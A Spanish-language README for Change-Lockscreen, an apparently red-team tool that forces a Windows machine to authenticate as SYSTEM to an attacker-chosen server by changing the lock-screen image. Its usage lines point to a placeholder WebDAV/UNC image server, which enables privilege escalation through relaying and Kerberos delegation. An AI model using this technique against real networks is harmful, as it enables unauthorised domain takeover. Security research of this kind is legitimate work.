Change-Lockscreen

Change-Lockscreen es una herramienta para desencadenar autenticaciones de red como SYSTEM cambiando la imagen de la pantalla de bloqueo de Windows desde la línea de comandos para realizar ataques de escalada de privilegios como el descrito en el artículo enlazado a continuación:

• https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation

Características

De forma predeterminada, Windows 10 tiene una característica llamada Windows Spotlight. Descarga y muestra automáticamente imágenes de la pantalla de bloqueo.

• Cuando esta característica está habilitada, Change-Lockscreen la deshabilitará y establecerá la imagen especificada en los argumentos
• De lo contrario, si el usuario tiene una imagen de pantalla de bloqueo personalizada, Change-Lockscreen se encargará de hacer una copia de seguridad de la misma, desencadenar la autenticación de red y volver a establecerla

Nota: mientras que la versión en PowerShell de la herramienta funciona de forma fiable, la versión en C# a veces no consigue restaurar la imagen original.

Uso

Change-Lockscreen -FullPath \\[imageserver]@[port]\[fakePath]\[image.jpg]
Change-Lockscreen -Webdav \\[imageserver]@[port]\ 

Autores

• Simone Salucci
• Daniel López Jiménez

Agradecimientos

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
• https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
• https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
• https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
• http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
• https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/